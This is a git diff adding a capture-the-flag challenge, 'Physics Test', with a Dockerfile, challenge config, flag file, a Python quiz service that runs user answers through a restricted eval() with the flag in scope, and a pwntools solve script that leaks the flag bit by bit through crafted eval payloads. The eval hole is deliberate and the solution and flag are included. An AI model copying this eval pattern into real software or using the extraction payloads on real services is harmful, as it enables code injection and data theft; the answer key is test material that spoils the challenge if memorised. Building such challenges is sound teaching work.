diff --git a/physics-test/Dockerfile b/physics-test/Dockerfile new file mode 100644 index 0000000..d7b6539 --- /dev/null +++ b/physics-test/Dockerfile @@ -0,0 +1,27 @@ +FROM --platform=linux/amd64 ubuntu:20.04 AS build + +RUN apt-get update -y && apt-get install -y gcc && apt-get install -y wget && apt-get install -y unzip && rm -rf /var/lib/apt/lists/* + +RUN wget -O ynetd.c https://raw.githubusercontent.com/johnsonjh/ynetd/master/ynetd.c \ + && gcc -o ynetd ynetd.c + + +FROM --platform=linux/amd64 python:3.12-slim-bookworm AS deployer + +RUN useradd -m -d /home/ctf -u 12345 ctf +WORKDIR /home/ctf + +# copy over ynetd +COPY --from=build ynetd ynetd +RUN chmod +x ynetd + +# copy over source and set permissions +COPY physics-test.py physics-test.py +COPY flag.txt . + +RUN chown -R root:root /home/ctf + +# run and expose +USER ctf +EXPOSE 8148 +CMD ["./ynetd", "-p", "8148", "python3 physics-test.py 2>&1"] \ No newline at end of file diff --git a/physics-test/chall.yaml b/physics-test/chall.yaml new file mode 100644 index 0000000..07209d0 --- /dev/null +++ b/physics-test/chall.yaml @@ -0,0 +1,18 @@ +name: Physics Test +categories: + - misc +value: 100 +flag: + file: ./flag.txt +description: |- + Help me get an A in Physics! My teacher made this review program for us. +hints: + - How is the program checking your answer? After all, it's possible to write a correct answer in multiple ways (e.g. x+y vs y+x vs 0+x+y, etc). + - What information/feedback do you get from each question? How can you use it to your advantage? +authors: + - Marvin +visible: true +deploy: + nc: + build: . + expose: 8148/tcp \ No newline at end of file diff --git a/physics-test/flag.txt b/physics-test/flag.txt new file mode 100644 index 0000000..7c6e5ae --- /dev/null +++ b/physics-test/flag.txt @@ -0,0 +1 @@ +bcactf{yoU_p4ssED_b0ef030870ec18} \ No newline at end of file diff --git a/physics-test/physics-test.py b/physics-test/physics-test.py new file mode 100644 index 0000000..fc5777c --- /dev/null +++ b/physics-test/physics-test.py @@ -0,0 +1,39 @@ +from random import randint, choice + +flag = open("flag.txt", "r").read() + +def clear(): + print("\n\n---------------------------------------------------------------------\n\n") +print("Welcome to the Midterm Review!") +print("This review will test your knowledge of physics formulas we have learned this unit.") +print("Be sure to write all of your answers in terms of x and y!") +clear() + +questions = [("Question {}: A box starts at rest on a frictionless table. It has a constant acceleration of x. How far does it travel in y seconds?", "x*y*y/2"), + ("Question {}: A spring has a spring constant of x. If it is compressed by a distance of y, what is the magnitude of the restoring force? (Your answer should be positive.)", "x*y"), + ("Question {}: A red ball (with mass 1kg and velocity x) and a blue ball (with mass 2kg and velocity y) collide perfectly inelastically. What is the final velocity of the two balls?", "(x+2*y)/3"),] + +i = 0 +while True: + i += 1 + q = choice(questions) + print(q[0].format(i)) + answer = input("Answer: ") + for char in ".=_{}'\" " : + if char in answer: + print(f"Dangerous character ({char})!") + exit() + print("Running tests...") + + for _ in range(10): + x = randint(0, 100) + y = randint(0, 100) + expected = eval(q[1], {'__builtins__': None, 'ord': ord, 'len': len}, {'x': x, 'y': y, 'flag': flag}) + res = eval(answer, {'__builtins__': None, 'ord': ord, 'len': len}, {'x': x, 'y': y, 'flag': flag}) + if expected != res: + print(f"TEST FAILED!") + break + if _ == 9: + print(f"Good job!") + break + clear() diff --git a/physics-test/solve.py b/physics-test/solve.py new file mode 100644 index 0000000..c0eae87 --- /dev/null +++ b/physics-test/solve.py @@ -0,0 +1,80 @@ +from pwn import * + +# running on local machine +# replace this with remote url +# p = process(['python3', 'physics-test.py']) +p = remote('localhost', 8148) + +# answers for each of the problems +answers = [ + (b"A box", "x*y*y/2"), + (b"A spring", "x*y"), + (b"A red ball", "(x+2*y)/3") +] + +# Putting some random spam into the input, +# we get an error message which shows this snippet of code: +# res = eval(answer, {'__builtins__': None}, {'x': x, 'y': y, 'flag': flag}) +# We can see that the flag is being passed to the eval function +# From each question, we get one bit of data, based on whether +# our input is equivalent to the expected output or not +# So, we can design our input so that it equals the correct +# output only when some certain thing about our flag is true. + +# First, we get the flag length with binary search +# (We see that len and ord are allowed, but = is not) +# so it encourages binary search +f_len_min = 0 +f_len_max = 100 +while f_len_min != f_len_max: + guess = (f_len_min + f_len_max) // 2 + + line = p.recvline_contains(b"Question") + print(line) + # We look up the question to find the appropriate answer + for (q, ans) in answers: + if q in line: + payload = f"(-1,{ans})[len(flag)>{guess}]".encode() + print(payload) + # Note that the way this payload works, + # this will evaluate to the correct answer if and only if + # len(flag) > guess (if not, it will evaluate to -1) + # Thus we can determine this info about the flag based on + # whether the output is "TEST FAILED!" or "Good job!" + p.sendlineafter(b"Answer: ", payload) + break + line = p.recvline_contains(b"!") + print(line) + if b"Good job!" in line: + f_len_min = guess + 1 + else: + f_len_max = guess + print(f_len_min, f_len_max) + # p.interactive() + +# We now have our length +# Now we binary search to get each byte of the flag one at a time, same thing +f_len = f_len_min +flag = "" + +for i in range(f_len): + char_min = 0 + char_max = 256 + while char_min != char_max: + guess = (char_min + char_max) // 2 + + line = p.recvline_contains(b"Question") + print(line) + for (q, ans) in answers: + if q in line: + payload = f"(-1,{ans})[ord(flag[{i}])>{guess}]".encode() + p.sendlineafter(b"Answer: ", payload) + break + line = p.recvline_contains(b"!") + print(line) + if b"Good job!" in line: + char_min = guess + 1 + else: + char_max = guess + flag += chr(char_min) + print(flag) \ No newline at end of file